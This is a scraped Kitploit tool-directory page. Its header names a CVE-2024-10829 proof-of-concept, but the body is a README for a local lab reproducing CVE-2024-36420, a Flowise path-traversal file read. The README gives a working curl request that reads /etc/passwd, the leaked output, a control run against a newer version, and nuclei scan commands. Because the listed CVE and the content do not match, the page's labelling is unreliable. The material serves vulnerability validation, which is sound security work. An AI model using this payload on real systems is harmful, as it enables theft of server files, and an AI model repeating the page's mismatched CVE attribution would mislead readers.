Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
POC_CVE-2024-10829 — CVE-2024-10829 analysis | Kitploit
Tools/GitHubGitHub/junn34/poc_cve-2024-10829
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjunn34/poc_cve-2024-10829

POC_CVE-2024-10829

CVE-2024-10829 analysis

View Repository
23 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC_CVE-2024-36420

Local reproduction lab and nuclei template draft for CVE-2024-36420 affecting Flowise.

Summary

CVE-2024-36420 is an arbitrary file read in Flowise caused by unsanitized use of the fileName body parameter in:

  • POST /api/v1/openai-assistants-file

This lab was used to validate:

  • vulnerable behavior on flowiseai/flowise:1.4.3
  • denied behavior on newer flowiseai/flowise:3.1.2

References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-36420
  • GitHub Security Lab: https://securitylab.github.com/advisories/GHSL-2023-232_GHSL-2023-234_Flowise/

Files

Download Tool
docker-compose.yml
  • docker-compose.latest.yml
  • CVE-2024-36420.yaml

    • Vulnerable Test

    Start Flowise 1.4.3:

    root@kitploit:~
    docker compose down -v
docker compose up -d
docker compose logs --tail=100 flowise

    Manual verification:

    root@kitploit:~
    curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

    Observed vulnerable response:

    root@kitploit:~
    HTTP/1.1 200 OK
Content-Disposition: attachment; filename=passwd
...
root:x:0:0:root:/root:/bin/ash
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

    Newer-Version Control

    Start newer Flowise 3.1.2:

    root@kitploit:~
    docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 flowise

    Manual verification:

    root@kitploit:~
    curl -i \
  -X POST http://127.0.0.1:3000/api/v1/openai-assistants-file \
  -H 'Content-Type: application/json' \
  -d '{"fileName":"../../../../etc/passwd"}'

    Observed newer-version response:

    root@kitploit:~
    HTTP/1.1 401 Unauthorized
{"error":"Unauthorized Access"}

    Nuclei

    Validate the template:

    root@kitploit:~
    nuclei -duc -validate -t CVE-2024-36420.yaml

    Run against the vulnerable target:

    root@kitploit:~
    nuclei -duc -u http://127.0.0.1:3000 -t CVE-2024-36420.yaml

    Expected behavior:

    • 1.4.3: match
    • 3.1.2: no match

    Notes

    • The version gap is acceptable because this repo only claims observed behavior:
      • vulnerable on 1.4.3
      • denied on 3.1.2
    • It does not claim the exact patched version boundary.
    • No real-world targets were used.